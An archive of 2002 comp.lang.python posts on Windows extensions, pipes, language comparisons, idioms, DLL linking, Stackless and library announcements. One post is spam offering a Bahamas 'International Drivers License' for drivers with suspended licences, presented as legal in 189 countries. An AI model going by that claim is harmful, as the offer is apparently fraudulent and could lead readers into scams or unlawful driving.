16:00:50 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 18 May 2002 20:00:50 GMT Subject: AS Rant. WAS: shutil rant References: Message-ID: David LeBlanc || Sat 18 May 2002 10:19:07a: > >> -----Original Message----- >> > >> Seriously though, you can't do "any serious" work on windows without >> the win32 extensions. Since the ActiveState distribution comes >> bundled with these, we've standardized on it here. (there are of >> course other advantages to the ActiveState distribution also ) >> >> -- bjorn > > > > Can you explain why PythonWin is needed to do any "serious" work on > Windows? > > Aside from the Windows Scripting Host interface, what other benefit > does AS Python in addition to Python and PythonWin? I would have > thought the prohibition on redistribution to 3rd parties of the AS > distribution would have been troublesome? It strikes me as > "ActiveTaint" more then "ActiveState". Er, he's not saying pythonwin is essential to working in windows, he's saying win32all is, and it comes with pythonwin so they just use that. You can get it seperatly. And it's not really essential unless you need to write stuff that uses native win32 api calls-- it realy depends on what you're doing. (If you want to send windows messages to another program to control it, like you can with winamp, you'd need to use this... if you are just making a program that's not really tied to the OS you don't. You can, but you don't) -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From ods at fep.ru Mon May 27 07:48:33 2002 From: ods at fep.ru (Denis S. Otkidach) Date: Mon, 27 May 2002 15:48:33 +0400 (MSD) Subject: Python 2.2.1: os.popen() bug? In-Reply-To: <3CF21645.C760B615@snakefarm.org> Message-ID: On Mon, 27 May 2002, Carsten Gaebler wrote: CG> CG> If I write to a pipe that was opened read-only, python CG> throws an CG> exception, but then the interpreter hangs instead of CG> exiting. Is this CG> beavior expected or a bug? Consider this example on Linux: CG> CG> #! /usr/bin/python CG> CG> import os CG> CG> pipe = os.popen("mail -s Test foo at bar.org") You have opened pipe for reading, try: pipe = os.popen("mail -s Test foo at bar.org", "w") CG> print >> pipe, "Test" # Raises IOError. CG> pipe.close() # Never reached. From aleax at aleax.it Mon May 6 03:23:01 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 06 May 2002 07:23:01 GMT Subject: Python vs. Perl, which is better to learn? References: <82adrehag0.fsf@acropolis.localdomain> <82wuuiht6j.fsf@acropolis.localdomain> Message-ID: Patrick W wrote: ... >> I may be missing something, but C# strikes me as VERY close indeed >> to Java -- I can't really understand (on a purely technical plane) >> liking one and despising the other. ... > deeper than mine). But do the languages 'feel' at all similar to you? Yes. Delegates are a clunky approximation of bound-methods, and Java's inner classes are only marginally more clunky (which IMHO they compensate for by offering somewhat richer functionality). Properties are nice (I really dislike the boilerplate implied by getThis/setThat) but they do feel rather marginal in a language's overall makeup. And Events are positively redundant IMHO. However, while I've written some decent amounts of Java (albeit quite a while ago), a few 10s of thousands of lines, I can't claim the same for C#, so this is more an evaluation coming from _looking_ at the language rather than actually using it in production. >> I don't see how C# per se should have substantially better >> performance possibilites than Java, in particular -- it will mostly ... > Sure. There's nothing inherent in the _languages_ that make one > necessarily "faster" than the other. But in practice, I have not seen > a compelling proof of concept in Java, even after all these years. I > should add that I'm more interested in the client side than the server > side, and I'm prejudiced by the fact that no matter how well I write > my code, my Swing applications will be weighed down by huge piles of While many Java libraries are good, Swing is undoubtedly heavy. It does not seem to me that .NET's GUI lib is a match for PyQt either, though. > Beyond the languages (and into the "platforms"), I also think the .NET > component model is more interesting than the JVM, but enough said for I don't mind .NET at all. I may agree it has some strengths compared to the corresponding aspects of the J2EE platform. I don't think those strengths, per se, distinguish C# and Java all that deeply. Trying to inextricably link Java/language and Java/platform was Sun's technical mistake (which fortunately great hacks such as Jython can to some extent bypass), explicitly making .NET multilanguage a good move by Microsoft (even though Python.NET's problems suggest that support for highly dynamic languages isn't as good as it might have been:-). Alex From jim at publishingresources.com Wed May 8 12:54:22 2002 From: jim at publishingresources.com (Jim Abrams) Date: Wed, 08 May 2002 16:54:22 -0000 Subject: Newbie question, python code <-> web formulare References: <3CD80F0E.1B4AC97E@west.de> Message-ID: Ben Thursfield wrote in news:3CD80F0E.1B4AC97E at west.de: > Hi! > > I've been programming a bit in python for a few days now, und I'm now at > the point where I want to embed my Python code into my webpage somehow. > For example I'm connecting to my mailserver using the socket lib and I > want to be able to transfer data between the python program and a web > formulare (e.g. login+pass). I don't know how to manage that though. I > manage it when i do it locally but i don't know how to get my webhost to > run the python programm so i can communicate with it. > Is this possible at all? Can I use Python in a PHP manner? > > Sorry for my bad english.. > > Greets Ben > If you're stuck on Win32 you can drop Python into ASP pages. http://www.python.org/topics/web/windows.html From nika at kassube.de Sun May 19 16:05:30 2002 From: nika at kassube.de (Nils Kassube) Date: Sun, 19 May 2002 22:05:30 +0200 Subject: multithreading References: <3ce7e613$0$3732@echo-01.iinet.net.au> Message-ID: <87sn4n6gz9.fsf@kursk.kassube.de> "Rob Hall" writes: > Can anyone point me to a useful tutorial on multithreading? One advice: Avoid multithreading like the plague. Multithreading is a very big stability risk if you don't know exactly what you are doing, i.e. most programmers most of the time. From look at replyto.address.invalid Thu May 30 00:34:09 2002 From: look at replyto.address.invalid (Greg Ewing) Date: Thu, 30 May 2002 16:34:09 +1200 Subject: New (?) suggestion re: 'while x = f(): ...' References: Message-ID: <3CF5ABC1.304DC523@replyto.address.invalid> Ville Vainio wrote: > > Speaking of which - why does the iterator of file objects return > strings with trailing \n's in place? Considering that we don't have to > detect EOF by ''... Otherwise you wouldn't be able to tell whether the last line of the file ended with '\n'. Also, it would be confusingly inconsistent with other ways of reading lines from files. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From wurmy at earthlink.net Sun May 26 19:20:02 2002 From: wurmy at earthlink.net (Hans Nowak) Date: Sun, 26 May 2002 23:20:02 GMT Subject: 'for every' and 'for any' References: Message-ID: <3CF16EC0.2E3AFEBE@earthlink.net> Oren Tirosh wrote: > > Here's an idea for a possible language enhancement. I'd like to hear your > comments about it. It's inspired by list comprehensions and I think the > examples are pretty self-explanatory: > > if not isinstance(x, str) for any x in args: > raise TypeError, "arguments must be of type str" > > valid = i>0 for every i in vector > > if dict2.has_key(k) for any k in dict1: > ... > > The words 'any' and 'every' can be non-reserved keywords (like the word 'as' > in "import foo as bar"). They are valid only after the keyword 'for' when > it's used in a non-statement context. Interesting. I don't know enough about the language internals to judge whether this is doable or not, or whether it's a good idea or not. I do think that these constructs can be emulated though, and we don't even need too much hackery. Let's start with defining the 'any' and 'every' functions: >>> every = lambda a, b: a and b >>> any = lambda a, b: a or b > if not isinstance(x, str) for any x in args: > raise TypeError, "arguments must be of type str" # error condition met: not everything's a string >>> reduce(any, [not isinstance(x, str) for x in [23, 33, "foo"]]) 1 # no error condition: >>> reduce(any, [not isinstance(x, str) for x in ["foo", "bar"]]) 0 > valid = i>0 for every i in vector # not everything's > 0: >>> reduce(every, [i>0 for i in [0, 1, 2]]) 0 # but here it is: >>> reduce(every, [i>0 for i in [4, 5, 6]]) 1 > if dict2.has_key(k) for any k in dict1: >>> d1 = {1:2, 3:4, 5:6} >>> d2 = {1:3, 6:6} >>> d3 = {0:2, 9:3} # yes, there are some mutual keys >>> reduce(any, [d2.has_key(k) for k in d1.keys()]) 1 # not here though >>> reduce(any, [d2.has_key(k) for k in d3.keys()]) 0 It can be done even simpler: >>> def Any(lst): return reduce(lambda a, b: a or b, lst) >>> def Every(lst): return reduce(lambda a, b: a and b, lst) # every number > 0 >>> Every([i>0 for i in [4, 5, 6]]) 1 # not here though: >>> Every([i>0 for i in [0, -2, 4]]) 0 # yes, there are any numbers > 0 >>> Any([i>0 for i in [-2, 0, 2]]) 1 (Disclaimer: I haven't these constructs extensively, but they seem to work.) Cheers, -- Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA==')) # decode for email address ;-) The Pythonic Quarter:: http://www.awaretek.com/nowak/ From nookieNO_SP_AM at online.no Wed May 8 12:16:29 2002 From: nookieNO_SP_AM at online.no (Erlend J. Leiknes) Date: Wed, 08 May 2002 16:16:29 GMT Subject: Comments References: Message-ID: """ this is a comment oh, see, another line!!! =) """ "Rajat Chopra" wrote in message news:Pine.LNX.4.33.0205081059490.3639-100000 at vampire.cs.utexas.edu... > Does anyone know if Python supports multi-line comments? I believe Java > and C++ (and even non-ANSI C) have /* ... */ for multi-line. Does Python > have anything comparable? > > From kwokng at earthlink.net Mon May 6 01:06:43 2002 From: kwokng at earthlink.net (Billy Ng) Date: Mon, 06 May 2002 05:06:43 GMT Subject: Message-ID: Hi folks, I notice the node.getAttribute() returns the unicode type string. How can I cast it to string type? Thanks! Billy Ng From zweistein at net.hr Sat May 11 10:47:35 2002 From: zweistein at net.hr (zweistein) Date: Sat, 11 May 2002 16:47:35 +0200 Subject: searching files Message-ID: I am trying to make a simple address book program, as an excersise in my programming skills, and I can make everything except the search function. I loaded the entire file into a list, and I tried a few things, but it doesn't work. Anyone have any ideas, algorithms, code? Thanks! Nikola From stuart at bmsi.com Mon May 6 23:16:10 2002 From: stuart at bmsi.com (Stuart D. Gathman) Date: Tue, 07 May 2002 03:16:10 GMT Subject: sgmllib too slow Message-ID: <_FHB8.41355$YQ1.17953481@typhoon.southeast.rr.com> I've run into my very first situation where python is not "fast enough". I am using the sgmllib module to parse HTML attachments in a milter. The processor idle time goes from 80% to 30% when the HTML parsing is turned on (machine is also a web server, so this is bad). It takes 5 minutes to parse a 150K attachment. (100Mhz 604 PPC). 1. Rewriting the whole thing in C is out of the question. Rewriting in Java is a possibility, and easier than C - but not nearly as easy as Python. 2. Since sgmllib.SGMLParser is callback based, I could make a flex or bison grammar in C with recognized elements calling back to the SGMLParser methods. That may or may not speed things up. Any suggestions? -- Stuart D. Gathman Business Management Systems Inc. Phone: 703 591-0911 Fax: 703 591-6154 "Confutatis maledictis, flamis acribus addictis" - background song for a Microsoft sponsored "Where do you want to go from here?" commercial. From gh_pythonlist at gmx.de Wed May 29 05:40:10 2002 From: gh_pythonlist at gmx.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Wed, 29 May 2002 11:40:10 +0200 Subject: Python & Eclipse In-Reply-To: <921D7D46Ejhewebdeagde@194.45.170.159> References: <921D7D46Ejhewebdeagde@194.45.170.159> Message-ID: <20020529094010.GA4399@lilith.my-fqdn.de> * J?rgen Hermann [2002-05-29 11:27 +0200]: > Hi! > > I found some threads on Python & Eclipse integration, but nothing concrete. Same for me and Netbeans, but if you're interested, you could check the Netbeans mailing list, if somebody is working on Python integration there. From my cursory look at the Netbeans sources, it's certainly possible, as Netbeans is also designed very modularly. Gerhard -- This sig powered by Python! Au?entemperatur in M?nchen: 15.5 ?C Wind: 2.8 m/s From eric at enthought.com Fri May 17 10:17:03 2002 From: eric at enthought.com (eric) Date: Fri, 17 May 2002 10:17:03 -0400 Subject: [ANN] Chaco: A 2D scientific graphics library Message-ID: <03d101c1fdad$85497d40$6b01a8c0@ericlaptop> I'm happy to announce that Enthought is developing a platform independent plotting library for Python. The Chaco project, as it is named, is funded by the Space Telescope Science Institute (STScI) and licensed under a BSD style open source license. Chaco is designed for presentation quality scientific 2D graphics on a variety of output devices. The initial targets are wxPython, TkInter, Mac OS X, and PDF for hard copy output. It's design is extensible so that other backends, such as OpenGL, can be added. Currently, the low-level API for wxPython, Mac OS X, and PDF are operational. The high level graphics objects will be developed over the coming months. Chaco is hosted at the SciPy site. For more information visit: http://www.scipy.org/site_content/chaco People are invited to comment on and contribute to the project. Chaco's discussion list is: scipy-chaco at scipy.org To subscribe, go to the mailing list's info page: http://scipy.net/mailman/listinfo/scipy-chaco thanks, eric jones -- Eric Jones Enthought, Inc. [www.enthought.com and www.scipy.org] (512) 536-1057 From zephinilium at yahoo.com Wed May 22 19:15:58 2002 From: zephinilium at yahoo.com (Uncle_Alias) Date: 22 May 2002 16:15:58 -0700 Subject: How Are Unlimited Precision Integers Accomplished? Message-ID: I was playing around with computing powers of 2 the other night, and was watching Python spit out numbers. When I tested the output by dividing it by 2 repeatedly, it seemed to be accurate and not a rounded out number. This is amazing to me that it can calculate integers to unlimited precision. How is this done? (Please keep the explanation simple, for I am a mere amateur coder). (Here's the code for those that are interested:) exponent = input("Highest exponent of 2?") for i in range(1,exponent): print "2 to the "+str(i)+"th = "+str(pow(2,i)) bigNumber = pow(2,i) for j in range(1,exponent): bigNumber = bigNumber/2 print bigNumber raw_input("Hit return to exit") From nhodgson at bigpond.net.au Mon May 6 01:36:02 2002 From: nhodgson at bigpond.net.au (Neil Hodgson) Date: Mon, 06 May 2002 05:36:02 GMT Subject: Creating C modules for Python under Cygwin References: <3CD41CC4.5752F30C@wag.caltech.edu> Message-ID: <6DoB8.89183$o66.280563@news-server.bigpond.net.au> Martin v. L?wis: > That's very interesting indeed. In http://python.org/sf/551093, Jason > Tischler argues that you absolutely must build Python with a shared > Python DLL, or else it can't possibly work. I thought this was > overstated, but didn't dare question the "common knowledge" that you > can only link against DLLs, not executables. While you can link against executables, you should avoid doing so in most cases. The common case where this occurs is where a DLL is mostly a library that provides services consumed by the executable but a need appears for a call back into the executable. You then have two binaries which depend on each others export libraries to link. To resolve the mutual dependence, a clean build needs to link one side twice, the first time with /FORCE (which ignores undefined symbol errors caused by the lack of an export library) so you get a valid export library, then build the other side against that export library, then rebuild the first side against the now-existing export library. Often future builds will work without /FORCE even with the API changing as one side will be satisfied by an old export library. This can cause "it builds on my machine but not on theirs" problems unless you think through the make and/or project files. Its simpler to use function pointers or vtable analogues for this situation. > I wonder what those "other reasons" could be, though. What exactly > *is* the rationale for Python using a DLL on Windows? COM. If you want to use COM objects implemented in Python in-process from arbitrary executables such as IIS or IE, then you can't require linking to another executable. Neil From sjmachin at lexicon.net Tue May 7 09:45:11 2002 From: sjmachin at lexicon.net (John Machin) Date: 7 May 2002 06:45:11 -0700 Subject: Looking for a scripting language References: <3cd49f78$0$355$9b622d9e@news.freenet.de> <3cd51348$0$151$9b622d9e@news.freenet.de> <3CD526E8.EA6CDBBF@engcorp.com> <3cd52c11$0$25705$9b622d9e@news.freenet.de> <3CD717CA.4E204E31@engcorp.com> Message-ID: Peter Hansen wrote in message news:<3CD717CA.4E204E31 at engcorp.com>... > deckerben wrote: > > > > D:\D\SCRIPTS\PROGRAM\Python\PyXML-0.7.1>python setup.py build > > Traceback (most recent call last): > > File "D:\USER\DJGPP\lib\python2.0\distutils\util.py", line 135, in > > check_envir on > > os.environ['PLAT'] = get_platform() > > File "D:\USER\DJGPP\lib\python2.0\distutils\util.py", line 43, in > > get_platform > > > > (osname, host, release, version, machine) = os.uname() > > TypeError: unpack non-sequence > > That last line suggests that your implementation of os.uname() > is not returning what was expected (a sequence consisting of > those five specific items. I'm not qualified to advise you in > this :-), but I would recommend checking into the os module > to see if the compiler/OS support for whatever that routine > does is non-standard or something. Or make a fake version > which returns those five items with reasonable guesses: > > def fake_uname(): > return 'BenDos', 'localhost', '2.4', 'yadda', 'Pentium' > > import os > os.uname = fake_uname > > Or something kludgy like that... it might let you work > past the problem anyway. > Sorry: kludge, yes. Work past problem, no. Look at the caller: def get_platform (): """Return a string that identifies the current platform. This is used [snip] For non-POSIX platforms, currently just returns 'sys.platform'. """ if os.name != "posix" or not hasattr(os, 'uname'): # XXX what about the architecture? NT is Intel or Alpha, # Mac OS is M68k or PPC, etc. return sys.platform # Try to distinguish various flavours of Unix (osname, host, release, version, machine) = os.uname() [followed by heaps of code testing for specific values of osname, none of them 'BenDos'] So ... this means that (1) you are pretending to be "posix" [can you live up to that?] and (2) you are providing an os.uname [which is optional; for instance, the win32 platform doesn't provide one] ... the call to sys.platform is skipped and then you go splat because as the exception message says, your os.uname is not returning a sequence. Not having done a port, I'm not qualified either, but until a better suggestion comes along: (1) kill off your malformed os.uname (2) ensure that your sys.platform returns something sensible, maybe "djgpp" (3) Hope that distutils does something sensible with unknown values returned from sys.platform; you may need to submit some patches to the distutils maintainers. You may need to "register" your port with (a) the distutils maintainers (b) the BDFL. You may need to ask generally what other known gotchas there might be for a porter ... From quitelikely at yahoo.com.au Sun May 5 11:38:07 2002 From: quitelikely at yahoo.com.au (Patrick W) Date: 06 May 2002 01:38:07 +1000 Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> Message-ID: <82adrehag0.fsf@acropolis.localdomain> aahz at pythoncraft.com (Aahz) writes: > In article <82bsbvl5q1.fsf at acropolis.localdomain>, > Patrick W wrote: > > > >Seems to me that C -> C# -> [Python / Lispy language] could facilitate > >a *really* nice layered approach. I just hope this possibility isn't > >sabotaged by political/legal issues, and becomes a genuine > >multi-platform solution. > > Why use C# at all? No genuine need of course, but I think there *is* a sizeable sweet spot that lies somewhere between C and Python in terms of abstraction capabilities, speed, coding convenience, etc. I can't muster any enthusiasm *at all* for Java. But I _do_ like C#. For a good example of why, check out the source code for the GPL'd SharpDevelop IDE, and see how clean and comprehensible it is. It's hard to imagine a C++ version being half as comprehensible, or a Java version being anywhere near as fast. The way I see it, if there's a decent intermediate-level language that fills a niche between C and Python, I might avoid it for political reasons, but not for technical ones. (So until it gains a foothold outside of the Microsoft-only world, I'll only be dabbling with it). Cheers, P. From grante at visi.com Fri May 10 18:18:08 2002 From: grante at visi.com (Grant Edwards) Date: Fri, 10 May 2002 22:18:08 GMT Subject: Is there such a beast as a "perfect" shuffle? :) References: Message-ID: In article , Terry Reedy wrote: > "Christos Georgiou" wrote in message > > What you are asking for is not a 'perfect shuffle' but a 'perfectly > random shuffle' Right. 'perfect shuffle' means: input (a,b,c,d,e,A,B,C,D,E) output (a,A,b,B,c,C,d,D,e,E) -- Grant Edwards grante Yow! Hello? Enema at Bondage? I'm calling visi.com because I want to be happy, I guess... From jon_bills at hotmail.com Thu May 2 15:10:38 2002 From: jon_bills at hotmail.com (Jon Bills) Date: Thu, 2 May 2002 19:10:38 +0000 (UTC) Subject: COM, Tk and threads References: <8ac260fdcccb2ad97306b2c88751886f.37623@mygate.mailgate.org> <0gfA8.10739$d7.3470059@newssrv26.news.prodigy.com> Message-ID: "dsavitsk" wrote in message news:0gfA8.10739$d7.3470059 at newssrv26.news.prodigy.com... > [snip] > when the Python COM server is done it can write a message to a named pipe. > have the python script spawn a thead that periodically checks the pipe, and > when it finds the done message it can do what ever you want done. this > allows the pieces to communicate w/o being tied. Sounds good. Coincidentally, I'd already started looking at pipes for a possible solution. Is there any advantage to the pipes supplied with the PythonWin extensions over the standard pipe functionality (besides the obvious portability issue)? I'll try experimenting when I get back to work tomorrow. > depending upon how often the pipe is checked, you might either have a slight > lag in the application, or use a little more processor, but that seems > easily tuneable. I don't foresee a problem, as there's a lot of idle time in the application. Thanks for the suggestion! Cheers, Jon. From Arkaitz.Bitorika at cs.tcd.ie Wed May 29 13:14:13 2002 From: Arkaitz.Bitorika at cs.tcd.ie (Arkaitz Bitorika) Date: Wed, 29 May 2002 18:14:13 +0100 Subject: Python & Eclipse References: <921D7D46Ejhewebdeagde@194.45.170.159> Message-ID: <3CF50C65.1040603@cs.tcd.ie> Hi, I'm looking into implementing at least a Python editor for Eclipse, using probably Jython's parser. I haven't got code to share yet, but I'm really interested as I want to learn both Eclipse and Python/Jython. What kind of integration do you need, apart from syntax highlighting/Outline and running Python programs? The JDT (Java tooling) has some amazing capabilities (Java-aware search, refactoring, quickfix, etc.) that would be great to see available for Python. cheers, Arkaitz J?rgen Hermann wrote: > Hi! > > I found some threads on Python & Eclipse integration, but nothing concrete. > Is there some substantial interest in doing such an integration, especially > from Jython programmers? Did anyone try to write Eclipse plugins in Jython? > > We _might_ start such a project, but only drive it so far as to fit our > needs, so any help would be welcome. From andrew.henshaw at mail.com Mon May 27 22:00:23 2002 From: andrew.henshaw at mail.com (Andrew Henshaw) Date: Mon, 27 May 2002 22:00:23 -0400 Subject: Ann: Stackless Limbo Dancing Works Fine! References: Message-ID: Christian Tismer wrote: > Fernando Pereira wrote: >> On 5/25/02 1:29 AM, in article ueu89e5dafsmb3 at corp.supernews.com, "Andrew >> Henshaw" wrote: >> >>>The Occam compiler will >>>prevent that behavior; but, when programming with C (with Transputer >>>libraries for parallel processing), this technique is used, occasionally. >> >> Occam != CSP > > Fernando, this is not at you, but at the whole thread: > > Please let me add -- with every respect -- > > Stackless != Occam and Stackless != CSP. > > I really appreciate any input on this, and I do my very > best to find Python's place between these worlds. > But please make these liveable for me. > > I'd really appreciate if we can keep unrelated > stuff, may it be real discussion or just hairsplitting, > out of this thread. Just change the subject to what it is. > > I am looking for help on an issue that's not my home match. > Discordance on these issues might make me want to leave them. > Please, all, your task is to make me do the right thing(TM), > which is a real challenge. Internals have for sure their own > auditory. Please continue with advice, which was great so far. > > kind regards - chris > Christian, Sorry about the hijacking of this thread. I only mentioned that Occam and CSP implement channels as connections between single pairs of processes as I thought that approach might let you simplify your design (by eliminating your proclet queues, perhaps). I was also trying to show that with this primitive approach, you can still construct the more complex behavior that you were indicating. I certainly don't think that you need to emulate Occam for some compatibility reason. If this concept doesn't help you with your design, by all means, go with multi-source, multi-destination channels. I'd still love to have them! If you do go with the single-process-pair channels, I wouldn't worry about trying to enforce that convention, as the Occam compiler does. Unless it was easy to restrict, I'd let the primitive implementation be open to abuse. If a more "correct" implementation is needed, subclass it and impose the process constraints at a higher level. I have an "Occam" library module (poorly done) that I've written to work with the Python standard threads, and the primitive channels work fine for me, without the checking. Thanks for your efforts! Andy From beehiveinc at spam.me.not Sun May 5 11:45:26 2002 From: beehiveinc at spam.me.not (Bee Hive Inc.) Date: Sun, 05 May 2002 15:45:26 GMT Subject: State of Python.NET References: Message-ID: http://starship.python.net/crew/mhammond/dotnet/ Mark has updated it to work with the final release, but it is still too slow for production use. "Mailing Lists" wrote in message news:mailman.1020598150.7459.python-list at python.org... > Anyone have any information on the Python to .NET compiler that ActiveState > began and then seems to have abandoned? Where is Mark Hammond working these > days? I know he's gone from ActiveState. Is he working on this anymore? > > Thank you! > > Keyton > > > From nospam at nospam.nospam Sun May 26 15:05:33 2002 From: nospam at nospam.nospam (Max) Date: Sun, 26 May 2002 19:05:33 GMT Subject: Problem building PySQLite under Windows Message-ID: <1maI8.88345$CN3.2584829@news2.tin.it> Hi everybody. I'm playing with PySQLite, but i can't build or install it. I use Python 2.2.1 on win32 (Windows XP Pro), and PySQLite 0.1.2. The error i receive is the following (i have no "cl.exe" anywhere in my HD. Is this a "c" compiler, i suppose...?) C:\cancella\pysqlite-0.1.2>python setup.py build running build running build_py creating build creating build\lib.win32-2.2 copying pysqlite_exceptions.py -> build\lib.win32-2.2 creating build\lib.win32-2.2\sqlite copying sqlite\__init__.py -> build\lib.win32-2.2\sqlite copying sqlite\main.py -> build\lib.win32-2.2\sqlite creating build\lib.win32-2.2\sqlite\constants copying sqlite\constants\__init__.py -> build\lib.win32-2.2\sqlite\constants copying sqlite\constants\FIELD_TYPE.py -> build\lib.win32-2.2\sqlite\constants running build_ext building '_sqlite' extension creating build\temp.win32-2.2 creating build\temp.win32-2.2\Release cl.exe /c /nologo /Ox /MD /W3 /GX -Ic:\sqlite\include -Ic:\python22\include /Tc_ sqlite.c /Fobuild\temp.win32-2.2\Release\_sqlite.obj error: command 'cl.exe' failed: No such file or directory C:\cancella\pysqlite-0.1.2> Thanks for any help... Max From irmen at NOSPAMREMOVETHISxs4all.nl Wed May 1 18:49:45 2002 From: irmen at NOSPAMREMOVETHISxs4all.nl (Irmen de Jong) Date: Thu, 2 May 2002 00:49:45 +0200 Subject: [ANN] Pyro 2.7 released Message-ID: You can get the latest Pyro version (2.7) at http://pyro.sourceforge.net This release contains some important updates: Agents can now be imported from a package, ES improvements, printing remote tracebacks, Windows socket reuse fix, NameServerLocator no longer uses broadcast when host is specified. What is Pyro? Pyro is an acronym for PYthon Remote Objects. It is a basic Distributed Object Technology system written entirely in Python. It is extremely easy to implement a distributed system with Pyro, because all network communication code is abstracted and hidden from your application. You just get a remote Python object and invoke methods on the object on the other machine. Pyro offers you a Name Server, an Event Service, mobile objects, remote exceptions, dynamic proxies, remote attribute access, automatic reconnection, a detailed manual, and many examples to get you started right away. Irmen de Jong From deltapigz at telocity.com Sat May 11 14:23:55 2002 From: deltapigz at telocity.com (Adonis) Date: Sat, 11 May 2002 14:23:55 -0400 Subject: PyQt (again) Message-ID: <3cdd65b2$1_9@nopics.sjc> is there a compiled version of PyQt available for win32? i have looked around google and someone mentioned about PyQt being compiled, but never concluded who/where it would be available? can anyone shed some light on this subject? im using Tkinter, and its fine, but i need to start making a little bit more pro-grade looking interfaces, and yes wxPython is one of the best available out now, but i like PyQts interfaces better.. any help would greatly be appreciated. Adonis From awalther at mbisoftware.de Fri May 24 07:09:26 2002 From: awalther at mbisoftware.de (Andreas Walther) Date: 24 May 2002 04:09:26 -0700 Subject: Searching Databasemodule for Informix implementing DB-API spec v2.0 Message-ID: Hi, i'm searching a database module for informix which implements DB-API spec v2.0. Is there anyone exsisting and where could I find it? Thanks for help Andreas Walther From cyberbettor2003 at yahoo.com Thu May 2 10:30:33 2002 From: cyberbettor2003 at yahoo.com (C Newnham) Date: Thu, 2 May 2002 10:30:33 -0400 Subject: hi Message-ID: Do you or anyone you know have a suspended DRIVERS LICENSE? I can get you an International Drivers License from the Bahamas legal in 189 countries, regardless of your past driving history. Get Back on the Road. Email me at cyberbettor2003 at aol.com or call 813-598-9113 From tim.one at comcast.net Sun May 19 23:15:13 2002 From: tim.one at comcast.net (Tim Peters) Date: Sun, 19 May 2002 23:15:13 -0400 Subject: Licensing question In-Reply-To: <3ce8614f_5@nopics.sjc> Message-ID: [Adonis] > this might provoke a flame war, which i hope that it will not occur, and > hope that it can be responded in a more mature intellectual manner. That's a good way to provoke a flamewar . > my question is can a program written in Python be sold? i have read > the python license and could not find it too clear, or i just have > misread it. There's no prohibition in the license against selling derivative works, and to the contrary it explicitly grants you a royalty-free license to do so. If you include Python itself in your distribution, then the license does impose some specific requirements on you (must include PSF's license and copyright, and must include a brief summary of the changes you made to Python). If you're merely writing your program *in* Python, and not redistributing (all or any part of) the Python distribution too, then that's your work alone, and the Python license is irrelevant. From emile at fenx.com Thu May 30 09:25:52 2002 From: emile at fenx.com (Emile van Sebille) Date: Thu, 30 May 2002 13:25:52 GMT Subject: Where can I find .join() in the docs References: Message-ID: "Ruediger Maehl" wrote in message news:newscache$0hdxwg$4oi$1 at www-neu.dzsh.de... > Hello Pythoneers, > > could anyone please point me to the piece of documentation > where I can find a description of .join() and all the others? > The dot in dot join indicates that join resides in the thing being dot'ted, in this case likely string. Look at Python22\Doc\lib\module-string.html and Python22\Doc\lib\string-methods.html -- Emile van Sebille emile at fenx.com --------- From brueckd at tbye.com Wed May 22 00:47:43 2002 From: brueckd at tbye.com (brueckd at tbye.com) Date: Tue, 21 May 2002 21:47:43 -0700 (PDT) Subject: Is python really slow? In-Reply-To: Message-ID: On Wed, 22 May 2002, Chris wrote: > I am a bit disheartened at how common it seems to code only some of a > program in Python and use C for other parts, and how much discussion > here involves using C for X and Y. Hi Chris, Bear in mind that the reason it gets discussed more than the simpler stuff is because the simpler stuff is, well, simpler (so no need for discussion). If you could somehow survey all Python users to see what percentage have to end up writing C extensions you'd probably find that percentage to be much lower than what you might infer from the discussions around here. Have fun, Dave From gdemmy at layton-graphics.com Thu May 16 08:07:11 2002 From: gdemmy at layton-graphics.com (George Demmy) Date: 16 May 2002 08:07:11 -0400 Subject: yet another generator implementation (was Re: how to write function that returns function) References: <4f52f844.0205141503.40000c50@posting.google.com> <4f52f844.0205150815.631b3415@posting.google.com> Message-ID: David Eppstein writes: > In article , > George Demmy wrote: > > > CL: > > > > (defun foo (n) #'(lambda () (incf n))) > > > > Python: > > > > def foo(n=0): > > class bar: > > def __init__(self): > > self.n = n > > def next(self): > > self.n += 1 > > return self.n > > return bar().next > > > > f = foo() > > print f(),f(),f() > > -> 2 3 4 > > g = foo(1) > > -> 3 4 5 > > You seem to have an off by one error on your output: > I get 1 2 3 and 2 3 4 Erp. You found a random bug in my python interpreter... namely the one in my head. I should have run the code through a more reliable one before posting, eh? > > Anyway, as long as you're going to do that, why not: > > from __future__ import generators > > def foo(n=0): > def bar(n=n): > while 1: > n += 1 > yield n > return bar().next > I wouldn't deny that your example is of greater Pythonic virtue! :) > [ from earlier message by same author: ] > > I don't think that the "Guido implementation" of Python allows the > > capture of state in closures the same way that you can in Scheme and > > CL, though you can fake it very easily, as above. > > I think the key difference is that Python's closures only give you read > access to the variables. If you want write access you have to > encapsulate them in something else, like a list: > > def foo(n=0): > n=[n] > def bar(): > n[0] += 1 > return n[0] > return bar That is an interesting insight. I guess that's what the class in the other example is doing... providing encapsulation. The list is certainly concise! Kindest regards, G From jb at cascade-sys.com Tue May 7 03:02:08 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Tue, 07 May 2002 00:02:08 -0700 Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> <821ycqjayi.fsf@acropolis.localdomain> <3CD5F1CC.A65C4AE0@engcorp.com> Message-ID: <3CD77BF0.49C749B2@cascade-sys.com> Peter Hansen wrote: > Patrick W wrote: > > > > I *was* thinking that there are many situations in which Python is too slow ... > > "Many"? Like what? > I object to that characterization: in two years > of extensive Python use in a very wide variety of areas, I have not > yet found Python to be "too slow". I believe this is a common myth > or nasty rumor, without strong basis in reality. A lot of real-world applications require performance approximating the underlying CPU speeds, in which case Python would be simply unable to do the job. E.g., I once had a contract with HP working on their printers. I was working on a "test bed" which meant all prototype hardware and software so we could pick any language we wanted. The primary application meant reading color image data out of a file and then performing an exceedingly complex series of transformation of the data into the bitmaps for the several layers of ink to be laid down. E.g., the placement of each color bitmap typically has to be shifted vertically and horizontally to compensate for mis-alignment of the print heads. At 30 inches per second, times 600 ink nozzles times 2400 dots per inch and you're talking a lot of bits to sling. If the bits aren't ready on time then the ink is applied in the wrong spot, resulting in an intolerable error. There are other real-world applications where the hardware is too cramped for a language as "cushy" as Python. One example is the production runtime environment for 